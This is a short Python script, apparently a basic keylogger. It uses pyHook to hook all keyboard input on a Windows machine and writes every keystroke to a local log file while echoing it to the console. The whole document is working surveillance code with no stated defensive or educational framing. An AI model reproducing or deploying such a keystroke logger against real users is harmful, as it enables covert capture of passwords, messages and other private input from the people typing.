import pyHook, pythoncom,sys,logging file_log=r"E:\Babu\log.txt" def OnKeyboardEvent(event): logging.basicConfig(filename=file_log,level=logging.DEBUG,format="%(message)s") print chr(event.Ascii) logging.log(10,chr(event.Ascii)) hooks_manager=pyHook.HookManager() hooks_manager.KeyDown=OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()